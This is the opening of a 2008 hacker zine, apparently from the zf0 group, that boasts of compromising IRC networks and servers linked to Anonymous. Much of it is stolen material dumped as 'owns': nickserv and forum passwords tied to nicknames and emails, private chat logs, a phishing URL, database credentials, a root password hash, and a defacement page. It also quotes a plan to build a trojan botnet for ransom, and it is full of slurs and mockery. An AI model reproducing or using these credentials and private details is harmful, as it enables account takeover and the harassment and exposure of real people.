PASTE-IT!

    _/_/_/_/_/                              444444444                                 ~~~~~~
         _/     _/_/    _/  _/_/   _/_/    4;;;;;;;;4   Internet Superheroes               ~
      _/     _/_/_/_/  _/_/     _/    _/  4;;;;;;;;;4
   _/       _/        _/       _/    _/  4;;;;44;;;;4       With great power
_/_/_/_/_/   _/_/_/  _/         _/_/    4;;;;4 4;;;;4            comes great responsibility.
                                       4;;;;4  4;;;;4
       .` .`              .`.`        4;;;;4   4;;;;4                       And great babes.
      -+;//.             `;/;/-      4;;;;444444;;;;444
     -++%+.               `/+/+-`    4;;;;;;;;;;;;;;;;4
    -o%/o;                 -++/+;`   4444444444;;;;;444  ______                          __
   .+0%+o-                 `/+;/+-             4;;;;4   |      |.--.--.--.-----.-----.--|  |
   /0%-oo;``               `+o;;o/`            4;;;;4   |  --  ||  |  |  |     |  -__|  _  |
  `+0/.+ossoo+/.`` ` `;//+++oo-.++-            444444   |______||________|__|__|_____|_____|
  -0%;`-/++ooooo+o/++oossso++/`.oo;
  -0%oossssssssssssssssyssssso+oss/                            -- Table of 0wned --
   -/0o/-/syyyyyyyyyyyyyyyo;;/oso/`
     ``;yhyyhhhydddddyyhhyhy/` `                            1. Anonymous
    -ohhs//dmy/ymmmmmy;omdo+yho-`                           2. g00ns
-symmho;` /Nm+.sNNNNmo.;mm+``;sddo//`                       3. illmob
oNNdo-`   +Nd; ;NNNNh; .dNo`  `-odNd;                       4. Safety on the Internet
oMm+`     oNy- `sNNmo` `hNs.     /mm/`                      5. Robert Lemos
/Nd;      +Ns.  -hds.  `sNs.     .dm/`                      6. The Fed Jingle
.md;      +No`   ..`   `sNs.     `dd/                       7. Comodo
`om;      ;ms.         `yNo`     .mh-                       8. CF0
 .do`     .dy-         `hd/      ;mo`                       9. Blackcode
  ;y-     `+m;         .ms.     `yy;                       10. Trivia Security
  `/+`     .ho`        +h/      ;y/`                       11. Pwnie Awards
   `-.      ;d;       .h+`      ;;`                        12. The Cult of the Dead Cow
     `      `;/`     `oo.      ``                          13. Pwnee Awards




                        S y m a n t e c  -  T h r e a t C o n
                  ---------------------------------------------
                  |             Level 6: # rm -rf /*          |
                  | (//////////////////////////////////////6) |
                  ---t h i s o n e g o e s u p t o s i x---^---


At last the 2008 show! The torch-song no-one ever sings! The curfew chorus line!
The comedy divine! The bulging eyes of puppets, strangled by their strings.
There's thrills and chills and girls galore, there's sing-songs and surprises!
There's something here for everyone, reserve your seat today!

We're happy to be have you back. Do we ever have some treats! We have some sweet
articles. We rm'ed g00ns, we took a successful forray into Anonymous' world, we
conquered and destroyed Blackcode, and, of course, we have the Cult of the Dead Cow
owned and exposed. We top those off with lots of fun little owns and articles. Kick
up your feet and settle in, this is going to take all night.


zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0
zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0
zf0                                                                                 zf0
zf0                                    Anonymous                                    zf0
zf0                                                                                 zf0
zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0
zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0



/***********************************
*
* We owned Anonymous. Although they sell you the idea that they cannot be owned
* because they lack any structure, we owned anybody and anything involved that we
* wanted to. They had a quote about being unable to kill a dragon with no head. We
* just watch the dragon stumble around drunkenly and then we stab all its toes.
*
* We owned inky_'s main server, we owned partyvan.info, we owned a lot of people
* and sites that were not worth including in this article. The anon scene is massive
* and we owned whatever we wanted, and brought owns and lulz here for you. They get
* a lot of press and talk a lot of shit (fucking annoying ED pages too), but all
* they really are is the *chan community rebranded (currently) around the idea of
* destroying the CoS. ^ban^ basically says that if you are a channer, you're anon,
* and if you aren't, you aren't.
*
* A lot of the top guys have no respect for the morons dedicated to their cause,
* and don't mind abusing or misleading them (to which they so easily follow).  They
* don't mind money either, as we will demonstrate. Something stinks about this, it
* reminds me of *something*, if only I could remember what...
*
* The most talented people in Anonymous hack Scientology people. Think about that.
* In the hacking world, that places them below the people who hacked
* ethelsflowershop.com and above the people who DoS specialneeds.com.
*
* We could be dropping your names, addresses, and email addresses, but you're kids,
* we do have some mercy.
*
* On with the show!
*
***********************************/

// Hey it's that guy who tried to take over 4chan. Check out his IRC problems!
Xyrix -> nickserv@anonymous.services: REGISTER 01110 x.yr.ix@hotmail.com
Xyrix -> nickserv@anonymous.services: REGISTER Xyrix A1B2C x.yr.ix@hotmail.com
Xyrix -> nickserv@anonymous.services: REGISTER Xyrix A1B2C3 x.yr.ix@hotmail.com
Xyrix -> nickserv@anonymous.services: REGISTER Xyrix c0ncr3t3456 x.yr.ix@hotmail.com
Xyrix -> nickserv@anonymous.services: REGISTER Xyrix lolol x.yr.ix@hotmail.com
Xyrix -> nickserv@anonymous.services: REGISTER Xyrix maniclol x.yr.ix@hotmail.com
Xyrix -> nickserv@anonymous.services: REGISTER help

Speaking of which, it looks like we got a fan after rming g00ns:

From:  X Y <xyrix@live.com>
To:  superheroes@hushmail.com
Date:  Thu, 08 May 2008 19:03:20 +0100
This message is not encrypted, and is not digitally signed by .
Hey, I was just wondering where you guys hung out normally. Irc or on silc?

// Some select passes, starting with the [nig] bitches
[nig]A_Non_E_Moose_ -> nickserv@anonymous.services: IDENTIFY qrrbrbirlbel
[nig]Azure -> nickserv@anonymous.services: identify niceguyjin
[nig]Azure -> nickserv@anonymous.services: identify nigguyjin
[nig]Banhammer -> nickserv@anonymous.services: identify letmein
[nig]CircleK -> nickserv: register bullpass1
[nig]Dart27 -> nickserv@anonymous.services: register midnight3 insurgentdart27@gmail.com
[nig]Dravas -> nickserv: identify x8i9j9w
[nig]Kazimir -> nickserv: identify wood.lake
[nig]Moose -> nickserv@anonymous.services: identify qrrbrbirlbel
[nig]Picatta -> NickServ: IDENTIFY lolcats8295
[nig]Skorski -> nickserv: identify internethate
[nig]Spaise -> nickserv: identify 198956spaise
[nig]Tycho -> NickServ: IDENTIFY auli711
[nig]banhammer -> nickserv@anonymous.services: identify letmein
[nig]brambi -> NickServ: IDENTIFY exodus
[nig]codenaur -> nickserv: REGISTER bobbin codenaur@omfgawd.org
[nig]kando -> nickserv: identify qwerty
[nig]kando -> nickserv: identify qwertyui
[nig]msgmcmuffin -> nickserv: identify haX0rm3plz
[nig]neG -> nickserv: identify fucktits
[nig]shamrock -> nickserv@anonymous.services: identify jimmy123
[nig]spic -> nickserv: identify alphabette
[nig]squid -> nickserv: identify w00tah

// Some other passes of (mostly) relevant people in the anon scene
inky_ -> nickserv: identify jblink
Alyosha -> nickserv: identify CLEVERPASSWD1111
RickRollington -> nickserv: identify muddymuddykipz
Rorschach -> nickserv@anonymous.services: IDENTIFY saltywalrus
Tycho -> NickServ: IDENTIFY auli711
negroe -> nickserv: ghost TheShining jewslol
negroe -> nickserv: identify aspadmd1
Kerx -> NickServ: identify hit13r
Freeze` -> nickserv@anonymous.services: identify wtfuxsucks
SpunkWang -> NickServ: IDENTIFY SpunkWang!
trypta -> nickserv: identify moveon
Nihilanth -> nickserv: identify bper231a
Skorski -> nickserv@anonymous.services: ghost Deltantor slowpoke
Muhu -> nickserv@anonymous.services: IDENTIFY niggershit7
Fail-chan -> nickserv@anonymous.services: identify cocks123
Delacroix -> nickserv: id lulzy1
f0rked -> nickserv@anonymous.services: id holyshit
_meh_ -> NICKSERV: IDENTIFY iamroot
innocuous -> nickserv: identify thepassword.
innocuous -> nickserv: identify thenickpassword.
innocuous -> nickserv: identify thenickpass.
Ms_Mister -> nickserv@anonymous.services: identify farkman
trapnest -> nickserv: identify aichii32
DrMengele -> NickServ: identify mofo47
bittwist -> nickserv@anonymous.services: identify sun42
Spaise -> nickserv: identify 1898956spaise
nfinity0 -> NickServ: identify bluemonkey66
infinity0 -> NickServ: register Ivy saturation6666 infinity0x@gmail.com
Cobrian -> Nickserv: identify Amiga32
cheezmasta_ -> nickserv@anonymous.services: IDENTIFY iamthecheese101
denvetta -> NickServ: IDENTIFY madman01

codenaur -> nickserv: IDENTIFY thaergaerg
codenaur -> nickserv: identify bobbin
codenaur -> nickserv: identify ilovecock // We can't make this shit up

RickRollington -> chanserv: identify #insurgency h875n8w45h89

/*
*
* Let's start it off with #el/i/tes
*
*/

^ban^ -> #el/i/tes: We are True Anonymous.
// And we are watching.

// ^ban^ is one of the big names in anonymous.. "old anon".. check out his
brilliant ideas!
^ban^ -> #el/i/tes: well, a suggestion for a board name
^ban^ -> #el/i/tes: I don't suggest we model after said board though
^ban^ -> #el/i/tes: http://4-ch.net/dqn/
^ban^ -> #el/i/tes: The Elitist Superstructure of DQN
^ban^ -> #el/i/tes: (The Elitist Superstructure of TPN you might recognize,
Nihilanth)

// ^ban^ had his docs dropped already, big drama

// And we finally know what old anon care about - money
Kerx -> #el/i/tes: So we're not gonna sit on asses and have yet another person
run our wiki and have him profit of us
Kerx -> #el/i/tes: time once and for all to buy own server and do our shit on
it and rent out space to make teh money
Freeze` -> #el/i/tes: and how would that work
Freeze` -> #el/i/tes: I'm all eyes here
Kerx -> #el/i/tes: just how the guy running anonhost is doing his
Kerx -> #el/i/tes: and we've got an easy way to secure money with the xenu
raids
Kerx -> #el/i/tes: make sure we have some true reps for the wiki go out and
collect in person also on next raid

// More money
Kerx -> #el/i/tes: ^ban^ we already has a way to get a ton of dough

// More money
Picatta -> #el/i/tes: and we're putting a couple ads on it

// More money
Picatta -> #el/i/tes: We could do a proxy list and put ads on it

// They are masters of technology and contemporary security issues
TheShining -> #el/i/tes: but we can't tell anyone
TheShining -> #el/i/tes: outside of this room
TheShining -> #el/i/tes: i was thinking about us getting a trojan
TheShining -> #el/i/tes: but modifying it
TheShining -> #el/i/tes: completely
TheShining -> #el/i/tes: until everything is changed to that virus scanners
wont pick it up
TheShining -> #el/i/tes: and distribute it to as many computers as possible
TheShining -> #el/i/tes: and take as much personal information as possible
TheShining -> #el/i/tes: and or hold the computers for ransom
Freeze` -> #el/i/tes: hmm
Freeze` -> #el/i/tes: if you could really do that
Freeze` -> #el/i/tes: I'd help out
TheShining -> #el/i/tes: the hardest part is to re-do the code on the trojan
TheShining -> #el/i/tes: and we'd also have to keep this secret until we had at
least 10,000 zombies

// omg anonymous revealed
031811:fuckingfruit -> #el/i/tes: he's waiting for kakama (the leader of
anonymous) to decide if to delete a wiki page or not

// Kakama's site and yahoo phish page: http://login.yahoo.890m.com/yahoo.html

// The illustrious ^ban^ explains that anon aren't hackers, they're channers,
and if you're not a channer, you're not anon
clorox -> ^ban^: you have alot of enemies...i am one of them
clorox -> ^ban^: you were a faggot when we first came here to me
^ban^ -> clorox: there's a pretty simple explanation for that, you know
^ban^ -> clorox: I was here when partyvan was founded, and didn't like the idea
of it abandoning the entire idea for it's founding :|
^ban^ -> clorox: The original idea was to have a network for anon, by anon, and
only anon
clorox -> ^ban^: what makes you anon
^ban^ -> clorox: but things didn't happen that way
^ban^ -> clorox: by anon I mean anyone from the *chan culture
// IF YOU WANT TO BE ANON CLOROX YOU HAVE TO BE MORE CHAN


/*
*
* Who wants to read the private chats of 711staff?
*
*/

// I beg to differ
jewlion -> #711staff: this is your only warning
jewlion -> #711staff: what happens in here
jewlion -> #711staff: stays in here

// Ego
lolihaetfire -> #711staff: Actually, christ, who are our other admins?
inky_ -> #711staff: ^Bi am the other admin
lolihaetfire -> #711staff: danke
inky_ -> #711staff: why the hell does nobody acknowledge me
inky_ -> #711staff: they're always like 'jewlion this' 'jewlion that'
inky_ -> #711staff: if it wasn't for me this site wouldn't even exist

// And rank
syense -> #711staff: we sure will miss jewlion though.
Kakama -> #711staff: WHAT
Kakama -> #711staff: HUH?
Kakama -> #711staff: JEWLION GO WHERE?
syense -> #711staff: he has stepped down.
syense -> #711staff: hes getting marrieda
DaftWally -> #711staff: I assumed inky_ would take over
syense -> #711staff: well he will
[nig]Dravas -> #711staff: lol
syense -> #711staff: hell be primary, with necro as second, and me as third
DaftWally -> #711staff: can I be 4th? :3
[nig]Dravas -> #711staff: can i be 5th :3
syense -> #711staff: daftwally will probably be 4th

// And more rank
jewlion -> #711staff: if the site goes down
jewlion -> #711staff: you'll have to be the one to take care of shit
jewlion -> #711staff: Necrobilly and MisterCow are the only one's I'd trust
with the site rite nao :|
jewlion -> #711staff: but MisterCow isn't here

// They're all about the money, too
UnknownUser -> #711staff: I have a great idea
UnknownUser -> #711staff: we could sell account levels
UnknownUser -> #711staff: like say a platnum acount gets you unlimited access
to all pictures
[nig]ItsNotLupus -> #711staff: syense: wat
UnknownUser -> #711staff: where as a normal account you can only look at 5 pics
in a min

// Money can buy you status
jewlion -> #711staff: I gave admin to those who donated
jewlion -> #711staff: and have been mods forever

Dart27 -> #711staff: I was an accident. My mom said, "the ONE time me and your
father had sex I got pregnant"

Dart27 -> #711staff: Anyways, I've only made one thing in PHP.
Dart27 -> #711staff: But it is cool.

Tycho -> #711staff: why are you so hard over her anony
anony -> #711staff: because i want my cock in her ass this summer
Tycho -> #711staff: be sure to get vids
anony -> #711staff: lewl
NotDaftWally -> #711staff: yeah
anony -> #711staff: i copy+pasted that to her :3
anony -> #711staff: on msn
Tycho -> #711staff: i fucking hate you anony
anony -> #711staff: KStrebchuk. Hey Shyra: Yes there is need to miss you
     (7802934048) says:
anony -> #711staff: LOLOLOLOLOLOLOLOLOL
anony -> #711staff: Phill says:
anony -> #711staff: we're so having buttsex.
anony -> #711staff: KStrebchuk. Hey Shyra: Yes there is need to miss you
     (7802934048) says:
anony -> #711staff: No anal. Last time I tried anal I cried.

lulzwhut -> #711staff: so
lulzwhut -> #711staff: syense is like actually dead
[nig]jewlion -> #711staff: yeah
ECB -> #711staff: wut happened
[nig]jewlion -> #711staff: fluid leak
[nig]jewlion -> #711staff: in his car
[nig]jewlion -> #711staff: dunno wat
ECB -> #711staff: so i get his o:line?!?!
[nig]jewlion -> #711staff: but it caused him to hit a semi

Tycho -> #711staff: <Necrobilly> I shoulda backed everything up

Tycho -> #711staff: WHEN YOURE POUNDING A GIRL FROM BEHIND
Tycho -> #711staff: AND HER BACK ARCHES
Tycho -> #711staff: THAT IS FUCKING HOT
Howler -> #711staff: guys can do that too

// 711staff paypal. Word to the wise: disable it
Dravas -> #711staff: dravas@loliheaven.net

inky_ -> #711staff: apu and aero are what host 711

anony -> #711staff: it felt like i stole keri from you
anony -> #711staff: so I stopped talking to her
andy -> #711staff: uh
andy -> #711staff: lost stole her
andy -> #711staff: from all of you

/*
*
* There's this "blackops" group that tried to be something, but they just
generate humour
*
*/

MDK -> #blackops: yeh we need a pw thats easy to remember
Spaise -> #blackops: umm what about
Spaise -> #blackops: opsareblack

Spaise -> #blackops: anything else we neeD?
Spaise -> #blackops: ummm
Spaise -> #blackops: flood protection
MDK -> #blackops: how do you change the topic with this script?

carbonlesz -> #blackops: ... Damnit, MDK. Stop capitalizing random letters of
words in passwords.

// He means the IRC channel mode
Spaise -> #blackops: hmm cant have private set if its secret
Spaise -> #blackops: grr

carbonlesz -> #blackops: I should probably use a proxy.

/*
*
* The guys running the wiki are incompetent
*
*/

f0rked -> #wiki: oh, I thought it was ddosed or something
denvetta -> #wiki: picatta's away somewhere
denvetta -> #wiki: Well.. that's possible... but picatta assures me that the
server is ddos proof

infinity0 -> #wiki: WedTM: NO. nothing was hacked
infinity0 -> #wiki: it was just an exploit in the mediawiki software

Picatta -> #wiki: OH ASHI-
Picatta -> #wiki: DHIT
Picatta -> #wiki:  /var is full

Apon71 -> #wiki: Big problems with nameserver?
Picatta -> #wiki: yes
Apon71 -> #wiki: Ok, I trust you guys will fix it as always
Apon71 -> #wiki: I've been away for a week, and am trying to catch up on what's
happening
Picatta -> #wiki: I can't really do shit until wedtm gets back

Apon71 -> #wiki: Either the wiki got hacked
Apon71 -> #wiki: Or one of you is trying to scare away newfags
Ivy -> #wiki: Apon71: yeah it's someone trying to scare away newfags, i'm
guessing Kakama, sigh

januszeal -> #wiki: why is the wiki down
januszeal -> #wiki: in before, after, and during slowpoke
Picatta -> #wiki: well

a-n-o-n -> #wiki: wtf...
a-n-o-n -> #wiki: wiki down?
Kakama -> #wiki: ATTENTION SHOPPERS

infinity0 -> #wiki: Picatta: wiki down again... we should split up the SQL
server vs. the webserver again

denvetta -> #wiki: wiki down
denvetta -> #wiki: can someone add it to /topi?

// They actually had the most successful individual security strategy we came
// across - the wiki was down for the majority of the time we had it owned.
// Made it a big pain in the ass and mostly we didn't bother.


/*
*
* #anti includes people behind ED. We were hoping oclet would be passing 0day
* around, but the only thing he has or passes is drugs. He's mostly a failure
* at this hacker thing but wins at lulz.
*
*/

Talldog -> #anti: Having seen a woman be fucked by a horse, my pants feel
strangely empty
hep -> #anti: i saw women getting fucked by horses when i was still bbsing
oclet -> #anti: ive seen .millions of girls getting fucked by horses just on
accident

sabotage -> #anti: i miss tacos
sabotage -> #anti: i banged tacos like 10 times too
Shortcat -> #anti: what happen
oclet -> #anti: me2
sabotage -> #anti: i think she was on top and i started to cum
oclet -> #anti: lets gang bang her
sabotage -> #anti: and i threw her off

oclet -> #anti: i searched facebook with my last name
oclet -> #anti: theres a lotof bitches i might be related to who are bangin

hep -> #anti: i am a one dick kind of girl

hep -> #anti: having a vagina does not entitle you to autorespect

// Just imagine more of the above, that's 100% of their conversations


/*
*
* And basically everyone else in the community is a joker. Here are some random
* quotes
*
*/

paraphren -> _Shinigami_: Think she's hot?
http://photos-c.ak.facebook.com/photos-ak-sf2p/v195/7/84/788288923/n788288923_3
51134_2156.jpg
_Shinigami_ -> paraphren: fuck yes
paraphren -> _Shinigami_: She's 18. Want a chance to fuck her?
_Shinigami_ -> paraphren: yes pls
paraphren -> _Shinigami_: heh
_Shinigami_ -> paraphren: lol
paraphren -> _Shinigami_: Well, first thing... don't mention any of this to
ANYBODY.
_Shinigami_ -> paraphren: k
paraphren -> _Shinigami_: I will quite literally have to kill you. heh
_Shinigami_ -> paraphren: lol k
paraphren -> _Shinigami_: Secondly... I have to talk her into it. She's coming
to Toronto to fuck me and wants to film it and shit, but I can let you have a
go at her if you want. heh
paraphren -> _Shinigami_: Anyway, she's a dirty girl and I'll probably be in
the room too. So hope you're up for it. :p
_Shinigami_ -> paraphren: lol, sounds fine to me
_Shinigami_ -> paraphren: i can be the videographer if you want
paraphren -> _Shinigami_: Seriously though... very important you tell NOBODY.
haha

CuNt -> Eric: w/e dude i do have a life other than computers
CuNt -> Eric: and i guarentee its a shit load better than yours
Eric -> CuNt: *rollseyes*
Eric -> CuNt: sureeeee buddy
CuNt -> Eric: sureeee buddy
Eric -> CuNt: I make more in a week then u do in a year
CuNt -> Eric: what do u make then dude
Eric -> CuNt: I bang more chicks in a month that u ever will

d0ct0r -> Eric: how did you join a haxs' group.
Eric -> d0ct0r: obviously I knew me shit
Eric -> d0ct0r: perl, vb, c, the basics

Agent_Riding -> #Philadelphia: so gnome is like the explorer.exe of ubuntu

TurbUlated -> anon080: <- sortofwant
anon080 -> TurbUlated: oh.
anon080 -> TurbUlated: your secret is safe

mattheas -> #fallout: How do I add people
mattheas -> #fallout: what's the command
anon64 -> #fallout: /invite

srgrnr -> #fallout: i want to go back to high school
srgrnr -> #fallout: where i had friends.
anon64 -> #fallout: high school was gay
srgrnr -> #fallout: i had friends, dude.

srgrnr -> #fallout: HOW THE FUCK
srgrnr -> #fallout: DO I UNIGNORE SOMEONE
srgrnr -> #fallout: ON IRC

Phist -> #illmob: Spyd3r: jewlion is one of the top submitters on darknet
Phist -> #illmob: 16 year old anon- turned compsec ethic expert

Eugene -> HetGezicht: I don't have skills for ddos

skinless -> Consumerwhore: feel like giving me a short explanation of how to
get into a site?
skinless -> Consumerwhore: i have php python and perl

kayla -> codenaur:
http://www.google.co.uk/search?hl=en&client=firefox-a&channel=s&rls=org.mozilla
%3Aen-GB%3Aofficial&hs=BBT&q=warning%3A+incompatible+implicit+declaration+of+bu
ilt-in+function+memcpy&btnG=Search&meta=
kayla -> codenaur: memcpy is a function
codenaur -> kayla: ah
codenaur -> kayla: :D
codenaur -> kayla: Thanks <3

// Shit this isn't very anonymous
barbanon -> #socal: Gregg Hagglund up in Canada has been tagged as the leader
there

QED|Pi -> Machine-Gunner: I'll just say they're for Stephen.A
Machine-Gunner -> QED|Pi: oh fuck
Machine-Gunner -> QED|Pi: :P
QED|Pi -> Machine-Gunner: Nice..
Machine-Gunner -> QED|Pi: Fuuuuuck
Machine-Gunner -> QED|Pi: How did you know
QED|Pi -> Machine-Gunner: it's your ident
QED|Pi -> Machine-Gunner: Stephen.A.@desu-C67BC7B.carleton.ca

// We owned this. It's between "Not worth mentioning" and "Not worth its own
// section", so we drop it here
define(SQLHOST, 'lulzhost.net');		//MySQL server address, usually
localhost
define(SQLUSER, 'img'); 	//MySQL user (must be changed)
define(SQLPASS, '3ecaa923-4c0e-4526-9f44-c8a437d88bb5');	     //MySQL
user's password (must be changed)
define(SQLDB, 'img');		//Database used by image board
define(ADMIN_PASS, 'fgt');	//Janitor password  (CHANGE THIS YO)

// BANG ON - Give this guy a medal and put him in charge (except he's not dumb
// enough to accept responsibility for this crap shoot)
Orakio -> #programming: Anonymous = mostly idiots.
Orakio -> #programming: Don't work directly with them.
Orakio -> #programming: It's better to linger on the edges, find a good
subgroup.
Orakio -> #programming: I mean I hate scientology and I don't need to be in
some group called anonymous to express that hate.
Orakio -> #programming: Especially when they can't even renew their domain
names.
Orakio -> #programming: It's a liability to be too closely intergrated.
// He has a 30-character nickserv password. No joke.

GaiaKB -> #privateprivategaia: ServicesUp|Sun Mar 30 04:05:51 EDT 2008|~! Do
NOT talk about #privateprivategaia
GaiaKB -> #privateprivategaia: Something|Sun Mar 30 04:09:59 EDT 2008|~!
Everything discussed here, stays here

// ZF0 has magic powers that can read your conversations even (yes, even!!) if
// you're using SSL!
ian -> #spk: i pasted that in spk
ian -> #spk: he cant know that
ian -> #spk: i use ssl

/*
*
* Picatta's spools took up a lot of space, so here's just some mails clean and
* clear
*
*/

/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
Dear Hitlerlol,

Thank you for registering at the Megadeth Forums. Before we can activate your
account one last step must be taken to complete your registration.

Please note - you must complete this last step to become a registered member.
You will only need to visit this url once to activate your account.

To complete your registration, please visit this url:
http://forums.megadeth.com/register.php?a=act&amp;u=69022&amp;i=27200622

<a
href="http://forums.megadeth.com/register.php?a=act&amp;u=69022&amp;i=27200622"
>America Online Users Please Visit Here to be Activated</a>

**** Does The Above URL Not Work? ****
If the above url does not work, please use your Web browser to go to:
http://forums.megadeth.com/register.php?a=ver

Please be sure not to add extra spaces. You will need to type in your username
and activation number on the page that appears when you visit the url.

Your Username is: Hitlerlol
Your Activation ID is: 27200622

If you are still having problems signing up please contact a member of our
support staff at webmaster@megadeth.com

All the best,
Megadeth Forums
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/


/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
Hi,

You have requested to register the following nickname Picatta.

Please type " /msg NickServ confirm u95oIIpO3 " to complete registration.

If you don't know why this mail was sent to you, please ignore it silently.

PLEASE DON'T ANSWER TO THIS MAIL!

Rizon administrators.
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/


/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
Dear Picatta,

Thank you for registering at Bodybuilding.com. Before we can activate
your account one last step must be taken to complete your
registration.

Please note - you must complete this last step to become a registered
member. You will only need to visit this url once to activate your
account.

To complete your registration, please visit this url:
http://my.bodybuilding.com/register.php?a=3Dact&amp;u=3D13453212&amp;i=3D725985
83

<a
href="http://partyvan.info/serialized/3D%22http://my.bodybuilding.com/register.
php?a=3Dact&amp;u=3D13453212&amp;i=3D=" 72598583="">America
Online Users Please Visit Here to be Activated</a>

**** Does The Above URL Not Work? ****
If the above url does not work, please use your Web browser to go to:
http://my.bodybuilding.com/register.php?a=3Dver

Please be sure to type it exactly as it appears. You will need to type
in your Username and Activation ID on the page that appears when you
visit the url.

Your Username is: Picatta
Your Activation ID is: 72598583

If you are still having problems signing up please contact a member of
our support staff at support@bodybuilding.com.

All the best,
Bodybuilding.com
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/


/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
Welcome to forum.i2p Forums

Please keep this email for your records. Your account information is as
follows:

----------------------------
Username: Picatta
Password: lolcats8295
----------------------------

Please do not forget your password as it has been encrypted in our database and
we cannot retrieve it for you. However, should you forget your password you can
request a new one which will be activated in the same way as this account.

Thank you for registering.
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/


/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
Welcome to Operation Clambake Message Board Forums

Please keep this email for your records. Your account information is as
follows:

----------------------------
Username: Picatta
Password: loldongs
----------------------------

Your account is currently inactive, the administrator of the board will need to
activate it before you can log in. You will receive another email when this has
occured.

Please do not forget your password as it has been encrypted in our database and
we cannot retrieve it for you. However, should you forget your password you can
request a new one which will be activated in the same way as this account.

Thank you for registering.
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/


/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
Welcome to Enturbulation.org Forums

Please keep this email for your records. Your account information is as f=
ollows:

----------------------------
Username: Picatta
Password: 86500144
----------------------------

Your account is currently inactive. You cannot use it until you visit the=
 following link:
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/


/*
*
* Now let's get to the box pwning. This is inky's server that hosts a handful
of their shitty sites
*
*/

drwxr-xr-x   4 root   wheel  512 Feb 14 03:05 bbs.711chan.org
drwxr-xr-x   4 root   wheel  512 Feb  6 07:03 invalid.site
drwxr-xr-x   4 httpd  httpd  512 Jan 26 09:24 lt3c.info
drwxr-xr-x   4 root   wheel  512 Feb  1 15:41 maps.lt3c.info
drwxr-xr-x   4 root   wheel  512 Feb 19 01:42 no-tolerance.info
drwxr-xr-x   4 root   wheel  512 Feb  7 06:53 partyvanradio.org
drwxr-xr-x   4 root   wheel  512 Mar  7 15:13 untitledhosting.org
drwxr-xr-x   4 root   wheel  512 Feb 19 19:15 virtual.psychomatic.us
drwxr-xr-x   4 root   wheel  512 Mar 11 04:13 vzpp.untitledhosting.org
lrwxr-xr-x   1 root   wheel   10 Jan 26 09:24 www.lt3c.info -> lt3c.info/
lrwxr-xr-x   1 root   wheel   18 Feb 19 01:43 www.no-tolerance.info ->
no-tolerance.info/
lrwxr-xr-x   1 root   wheel   18 Feb  7 06:53 www.partyvanradio.org ->
partyvanradio.org/
lrwxr-xr-x   1 root   wheel   20 Mar  7 15:13 www.untitledhosting.org ->
untitledhosting.org/

$config['db_username'] = 'untitledhosting';
$config['db_password'] = '0DTtITKJ.yBD';

$dbhost = 'localhost';
$dbport = '3306';
$dbname = 'lt3c_phpbb';
$dbuser = 'root';
$dbpasswd = 'jblink';

// ^ that's the root pw too! And his nickserv pass! We rooted the box too fast
// to even have to look up his nickserv pass

$db_server = 'localhost';
$db_name = 'nt-server';
$db_user = 'nt-server';
$db_passwd = 'nm2KHZaWzwZbWrxT';
$db_prefix = 'smf_';

$config['dbms'] = 'mysql';
$config['db_hostname'] = 'localhost';
$config['db_username'] = 'untitledhosting';
$config['db_password'] = '0DTtITKJ.yBD';
$config['db_name'] = 'untitledhosting';

d><title>hacked by [seven11]</title></head><body bgcolor="black">
<div align="center" style="color:#FFFFFF"><h1>Hacked by <font
color="red">[seven11]inky</font>, [PURGE] are a load of faggots</h1><br></div>
</body></html>

// ^ haha

# shoutcast
Password=imadj
AdminPassword=partyvanorg


# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
#
root:$1$40oTVDjS$IXT5EmlwEhu84acMjAZ/J/:0:0::0:0:Root User:/root:/usr/bin/bash
toor:*:0:0::0:0:Bourne-again Superuser:/root:
daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5::0:0:System &:/:/usr/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Submission
User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66::0:0:UUCP
pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
